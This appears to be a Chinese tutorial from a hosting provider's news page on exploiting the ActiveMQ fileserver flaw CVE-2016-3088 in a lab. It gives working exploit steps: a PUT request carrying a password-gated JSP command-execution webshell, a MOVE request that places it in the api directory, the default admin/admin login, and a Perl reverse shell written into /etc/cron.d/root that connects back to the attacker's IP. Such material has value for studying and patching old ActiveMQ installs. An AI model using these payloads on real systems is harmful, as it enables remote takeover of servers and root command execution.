您好,登錄后才能下訂單哦!
ActiveMQ任意文件寫(xiě)入漏洞CVE-2016-3088的示例分析,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。
ActiveMQ Web控制臺(tái)分為三個(gè)應(yīng)用程序:admin,api和fileserver,其中admin是管理員頁(yè)面,api是界面,fileserver是用于存儲(chǔ)文件的界面;admin和api需要先登錄才能使用,fileserver不需要登錄。
文件服務(wù)器是RESTful API接口。我們可以通過(guò)HTTP請(qǐng)求(例如GET,PUT和DELETE)讀寫(xiě)存儲(chǔ)在其中的文件。設(shè)計(jì)目的是為了彌補(bǔ)消息隊(duì)列操作無(wú)法傳輸和存儲(chǔ)二進(jìn)制文件但后來(lái)發(fā)現(xiàn)的缺陷:
使用率不高
文件操作容易產(chǎn)生漏洞
因此,ActiveMQ默認(rèn)在5.12.x?5.13.x中關(guān)閉文件服務(wù)器應(yīng)用程序(您可以在conf / jetty.xml中打開(kāi)它)。在5.14.0之后,文件服務(wù)器應(yīng)用程序?qū)⒈煌耆珓h除。
在測(cè)試過(guò)程中,您應(yīng)注意ActiveMQ的版本,以防浪費(fèi)精力。
此漏洞出現(xiàn)在Fileserver應(yīng)用程序中,漏洞原理實(shí)際上很簡(jiǎn)單,即文件服務(wù)器支持寫(xiě)入文件(但不解析JSP),同時(shí)支持移動(dòng)文件(MOVE請(qǐng)求)。因此,我們只需要編寫(xiě)一個(gè)文件,然后使用移動(dòng)請(qǐng)求將其移動(dòng)到任何位置,就會(huì)導(dǎo)致任意文件寫(xiě)入漏洞。
文件寫(xiě)入有幾種利用方法:
1.寫(xiě)入webshell
2.寫(xiě)入cron或ssh key等文件
3.寫(xiě)入jar或jetty.xml等庫(kù)和配置文件
編寫(xiě)webshell的優(yōu)點(diǎn)是方便,但是文件服務(wù)器不需要解析jsp,admin和api都需要登錄才能訪問(wèn),因此有點(diǎn)徒勞。編寫(xiě)cron或ssh鍵的優(yōu)點(diǎn)是直接反轉(zhuǎn)Shell,這也很方便,缺點(diǎn)是您需要root權(quán)限;寫(xiě)jar,有點(diǎn)麻煩(需要jar后門(mén)),寫(xiě)xml配置文件,這種方法比較可靠,但是有一點(diǎn)徒勞:我們需要知道ActiveMQ的絕對(duì)路徑。
如前所述,Webshell必須使用Admin或Api應(yīng)用程序編寫(xiě),并且兩個(gè)應(yīng)用程序都必須登錄才能訪問(wèn)。
默認(rèn)的ActiveMQ帳戶和密碼為admin。
然后進(jìn)入到首頁(yè)下的fileserver這個(gè)文件夾下
bp抓包(刷新一下頁(yè)面就行),然后發(fā)到重發(fā)器,改成PUT方法,寫(xiě)入shell,代碼如下:
PUT /fileserver/1.txt HTTP/1.1 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
進(jìn)入相應(yīng)目錄查看,發(fā)現(xiàn)確實(shí)已經(jīng)寫(xiě)入shell文件,但是txt格式文件不能執(zhí)行,所以需要轉(zhuǎn)換成jsp格式的文件執(zhí)行。
繼續(xù)抓包,send to repeater ,改包方法改為MOVE,路徑是Destination:file:///opt/activemq/webapps/api/testhacker.jsp因?yàn)閍pi這個(gè)目錄可以解析jsp文件
進(jìn)入api目錄查看點(diǎn)擊新移動(dòng)來(lái)的testhacker.jsp,網(wǎng)頁(yè)空白就說(shuō)明webshell上傳成功
這時(shí)可以在url后面執(zhí)行命令,成功返回結(jié)果
也可以上靶機(jī)的網(wǎng)站目錄下看生成的文件
實(shí)驗(yàn)相關(guān)補(bǔ)充
寫(xiě)入webshell門(mén)檻低且方便,但是fileserver這個(gè)目錄是沒(méi)有jsp的執(zhí)行權(quán)限的,想要執(zhí)行jsp的webshell需要將jsp文件放入admin或者api目錄中,這兩個(gè)目錄是具有jsp解析執(zhí)行權(quán)限的,但是這兩個(gè)目錄又需要登錄才能進(jìn)入。所以當(dāng)收到響應(yīng)是4XX時(shí),需要登錄。
漏洞原理
根據(jù)上面的操作能發(fā)現(xiàn),漏洞原理簡(jiǎn)單來(lái)說(shuō)就是fileserver這個(gè)目錄支持寫(xiě)入文件,并且這個(gè)目錄支持move請(qǐng)求移動(dòng)文件。因此,我們只需要寫(xiě)入一個(gè)文件,再通過(guò)move移動(dòng)到能夠解析jsp文件的目錄下,進(jìn)去執(zhí)行就會(huì)造成任意文件寫(xiě)入漏洞。
流程就是:寫(xiě)入文件(put方法)——>移動(dòng)文件(move方法)——>執(zhí)行文件
這是一個(gè)比較穩(wěn)健的方法。首先上傳cron配置文件(注意,換行一定要`\n`,不能是`\r\n`,否則crontab執(zhí)行會(huì)失敗)。
直接網(wǎng)頁(yè)訪問(wèn)yourip:port/fileserver并抓包,把以下代碼寫(xiě)入抓的數(shù)據(jù)包中,并改為PUT方式,修改監(jiān)聽(tīng)ip和端口
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="監(jiān)聽(tīng)vps的IP";$p=監(jiān)聽(tīng)端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后網(wǎng)頁(yè)訪問(wèn)這個(gè)文件并抓包,將GET改為MOVE方式,把它移動(dòng)到/etc/cron.d/root目錄下,路徑為Destination: file:///etc/cron.d/root
這個(gè)方法需要ActiveMQ是root運(yùn)行,否則也不能寫(xiě)入cron文件。
如果以上兩個(gè)請(qǐng)求都返回204,則寫(xiě)入成功。監(jiān)聽(tīng)對(duì)應(yīng)端口等待反彈shell:
看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。